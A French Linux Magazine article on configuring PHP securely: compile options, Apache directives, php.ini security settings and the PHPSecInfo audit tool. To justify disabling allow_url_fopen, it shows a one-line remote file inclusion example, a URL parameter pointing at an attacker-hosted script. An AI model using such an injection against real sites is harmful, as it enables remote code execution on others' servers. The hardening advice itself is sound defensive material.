Retrouvez cet article dans : Linux Magazine Hors série 35
1. Configuration lors de la compilation
La première des configurations possibles se situe au moment de la compilation : elle permet de modifier certains paramètres et d’ajouter des extensions à PHP. J’entends " première " dans le sens d’ordre chronologique lors de l’installation de PHP et non dans le sens de " principale " (voir la section sur les fichiers- La phase de configuration permettant de sélectionner les options à activer et les extensions à installer. Cela se fait à l’aide de la commande
./configure(pour une liste des options disponibles sur votre système :./configure -help– pour une liste complète, voir [1]). L’installation des extensions se fait à l’aide de l’option--with-extensionoùextensionest le nom d’une extension autorisée (gd, mysql, pdo, etc.). Ainsi pour installer l’extension gd (bibliothèque graphique), on effectuera :
./configure –with-gd
- Ensuite, la phase de compilation proprement dite qui s’effectue à l’aide de la commande :
make all installNotons toutefois que l’installation des extensions disponibles par cette méthode se fait de manière beaucoup plus simple sur les systèmes basés sur Debian en utilisant le système
apt-get install php5-gdCe qui nous dispensera de la phase de compilation... D’autres extensions sont disponibles à travers le système PECL [2], mais nous sortirions du cadre de cet article. Revenons maintenant aux paramètres modifiables à l’aide de la commande

./configure --disable-short-tagssuivie de :
make all installPenchons-nous maintenant sur un autre aspect de la configuration : Apache.
2. Configuration depuis Apache
Il est parfois intéressant de modifier le comportement de PHP seulement pour quelques projets hébergés dans des répertoires bien définis. Si vous avez compilé PHP en tant que module Apache (voir section 1), vous pouvez utiliser le fichier de configuration d’Apache (en général fichierPHP_INI_SYSTEM: les entrées peuvent être définies dans le fichierphp.iniou le fichier apache2.conf ;PHP_INI_PERDIR: les entrées peuvent être définies dans le fichierphp.ini, un fichier.htaccessou le fichier apache2.conf ;PHP_INI_USER: les entrées peuvent être définies dans les scripts utilisateurs ;PHP_INI_ALL: les entrées peuvent être définies n’importe où.
php_flag nom valeurCette instruction modifie la valeur de la directive nom en lui assignant une valeur dont le type est booléen et vaut soit on, soit off. Par exemple, pour la directive assert_warning (type PHP_INI_ALL) qui met une alerte PHP pour chaque assertion échouée, la modification se fait par :
php_flag assert_warning off
php_value nom valeurCette instruction modifie la valeur de la directivenomen lui assignant une valeur. Par exemple, pour la directiveinclude_path(typePHP_INI_ALL) qui permet de donner une liste de répertoires où les fonctionsrequire(),include(),fopen(),file(),readfile()etfile_get_contents()chercheront les fichiers, la modification se fait par :
php_value include_path “.:/usr/lib/php”2. Pour les directives de type
php_admin_flag nom valeurCette instruction a le même comportement que l’instructionphp_flagvue précédemment. Elle ne peut être utilisée que dans le fichierapache2.confpar l’administrateur.
php_admin_value nom valeurLà encore, cette instruction se comporte commephp_valueet ne peut être utilisée que dans le fichierapache2.confpar l’administrateur.
<Directory /web/site1/online/>
AllowOverride All
php_admin_value upload_tmp_dir "/var/www/site/tmp"
</Directory>
Pour l’utilisateur, la modification se fera dans php_value upload_max_filesize 2MIntéressons-nous maintenant au cas de configuration le plus classique, celui des fichiers
3. Configuration dans les fichiers php.ini
Parler " du " fichier3.1. Structure du fichier php.ini
Le fichier[NomDeSection] variable = "valeur" ... variable_n = "valeur_n"Le nom de la section est indiqué entre crochets, suivi d’un certain nombre de déclarations de variables – encore appelées directives – sous forme de paires constituées du nom de la variable (sensible à la casse) et de la valeur qui lui est associée (numérique, booléenne ou chaîne de caractères). Notez que chaque déclaration de variable se fait sur une nouvelle ligne. Enfin, le caractère "
3.2. Les directives du fichier php.ini
Nous aborderons ici les directives liées à la sécurité de PHP (pour une liste complète des directives, reportez-vous comme toujours au manuel PHP [4]). Lorsque l’on s’intéresse à la sécurité de PHP, il faut garder à l’esprit qu’il existe essentiellement deux contextes dans lesquels un serveur peut être utilisé : le développement et la production. Ainsi, il est, par exemple, recommandé de désactiver l’affichage des erreurs sur un serveur en production... mais, il est nettement plus pratique de conserver cet affichage en développement ! Voici donc une liste (non restrictive) de directives auxquelles il faudra prêter attention.3.2.1. Gestion de l’en-tête du serveur
expose_php :Cette directive indique à PHP d’ajouter son numéro de version à l’en-tête standard du serveur web. Il est recommandé de désactiver cette directive en production (valeurOff) : les informations données peuvent servir à d’éventuels pirates si vous ne mettez pas régulièrement à jour votre serveur.
3.2.2. Gestion des erreurs
display_errors: Cette directive autorise l’affichage des erreurs PHP : en production, elle doit être positionnée surOff(sous peine de fournir de précieuses informations à un éventuel pirate comme le nom de vos tables, etc.) et, bien sûr, en développement, il faudra lui associer la valeurOn.
error_reporting: Indique les types des erreurs que PHP devra reporter. Lorsque l’on choisit de les afficher, il est recommandé d’afficher un maximum de messages d’erreurs. Les valeurs recommandées pour PHP5 sontE_ALL | E_STRICTetE_ALLpour PHP4.
log_errors: Indique à PHP de conserver une liste des erreurs rencontrées dans un fichier de log. Il est utile d’activer cette directive même en production pour un suivi des erreurs sans affichage direct.
error_log: Si la directivelog_errorsa été positionnée à On, la directiveerror_logpermet de spécifier le nom et le chemin du fichier de log que vous désirez utiliser. Sinon le fichier par défaut sera le fichier error.log de votre Apache (/var/log/apache2/error.incsur les distributions basées sur Debian).
html_errors: Active ou désactive les balises HTML dans les messages d’erreurs : si vous avez choisi de ne pas afficher les erreurs (display_errorsàOff), cette directive est inutile. Par contre, en développement, en renseignant les directivesdocref_rootetdocref_ext, vous pourrez avoir directement des liens vers la documentation de la fonction ayant provoqué l’erreur.
docref_root: Cette directive définit le chemin vers le manuel PHP. En général, il s’agira de :docref_root = http://fr.php.net/manual/fr/.
docref_ext :Définit l’extension des fichiers du manuel. Là encore, il s’agira en général de fichiersHTML : docref_ext = .html.
3.2.3. Gestion des accès aux fichiers
allow_url_fopen: Cette directive autorise l’exécution de fichiers distants passés en paramètre d’une URL. Il est recommandé de la désactiver (valeurOff) : un pirate pourrait faire exécuter un code externe. Si vous disposez d’une pageindex.phpqui attend un paramètreload, un pirate pourrait exécuter :
index.php?load=http://www.the-hacker.com/script_pirate.txt
open_basedir: Cette directive limite les fichiers accessibles par PHP dans l’arborescence. Le paramètre passé àopen_basedirest considéré comme un préfixe : si vous spécifiezopen_basedir = /include/mon_rep, vous donnerez accès à/include/mon_rep,/include/mon_repertoire,... Pour déterminer un répertoire spécifique, il faudra terminer le nom du chemin par un "/".
3.2.4. Gestion des fonctions et classes accessibles
disable_functionsetdisable_classes: Ces directives permettent d’interdire respectivement une liste de fonctions et une liste de classes " dangereuses ". Pour interdire par exemple l’utilisation des fonctionsphpinfo()etsystem(), il faudra spécifier :disable_functions = phpinfo, system.
3.2.5. Gestion des limites de mémoire et de temps
memory_limit: Cette directive détermine la mémoire limite, en octets, qu’un script est autorisé à allouer. Depuis PHP 5.2.0, la valeur par défaut est fixée à16M. Il s’agit d’une valeur raisonnable (on préconisait auparavant une valeur de8M).
post_max_size: Définit la taille maximale des données (en octets) reçues par la méthode POST (la directivememory_limitdoit avoir une valeur supérieure à celle-ci, sinon post_max_size sera limité à la valeur dememory_limit). La valeur par défaut est de8M. Il est peu probable que vous ayez besoin de plus de mémoire (vous pouvez même éventuellement descendre un peu cette valeur). Toutefois, lors de l’upload de fichiers, les données transitent via une méthode POST : assurez-vous alors que cette valeur est supérieure à celle de la directiveupload_max_filesize.
max_execution_time: Temps maximal d’exécution des scripts en secondes. Par défaut, la valeur est de30s, mais n’oubliez pas qu’il est rare qu’un utilisateur patiente autant de temps... Cette directive permet surtout de sortir de boucles infinies en phase de développement. Un bon compromis semble être15s.
3.3. Modifier les directives depuis PHP
Il est également possible de modifier des directives du fichierini_set(‘display_errors’, ‘Off’);
4. Audit de sécurité avec PHPSecInfo
Pour contrôler les points de sécurité les plus classiques, il existe un outil, PHPSecInfo [6], qui examinera les valeurs que vous avez affectées aux diverses directives du fichier- vert : tout va bien ;
- jaune : mauvaise valeur de configuration possible ;
- rouge : mauvaise valeur de configuration (changement de valeur recommandé).

Figure 1 : Résultats produits par PHPSecInfo
Si vous avez besoin de plus d’informations sur un message d’avertissement, un lien pointant sur le site http://phpsec.org/ est à votre disposition pour chaque directive (voir Figure 2).

Figure 2 : Explications détaillées sur la modification du paramètre allow_url_fopen
Conclusion
Nous avons pu voir dans cet article les différentes manières de configurer PHP. Ce langage s’appuyant sur un serveur web, il est essentiel de veiller à ce que les directives ayant trait à la sécurité soient correctement paramétrées pour minimiser le risque d’intrusion dans vos programmes. L’application PHPSecInfo peut vous aider dans cette démarche. Mais surtout, n’hésitez pas à aller " farfouiller " dans la documentation de PHP [4]... c’est une mine d’informations inépuisable. Liens- [1] http://www.php.net/manual/fr/configure.php
- [2] http://pecl.php.net
- [3] http://pear.php.net/manual/fr/standards.php
- [4] http://www.php.net/manual/fr/ini.php
- [5] http://www.php.net/manual/fr/function.ini-set.php
- [6] http://phpsec.org/projects/phpsecinfo/index.html
Retrouvez cet article dans : Linux Magazine Hors série 35





Laissez une réponse
Vous devez avoir ouvert une session pour écrire un commentaire.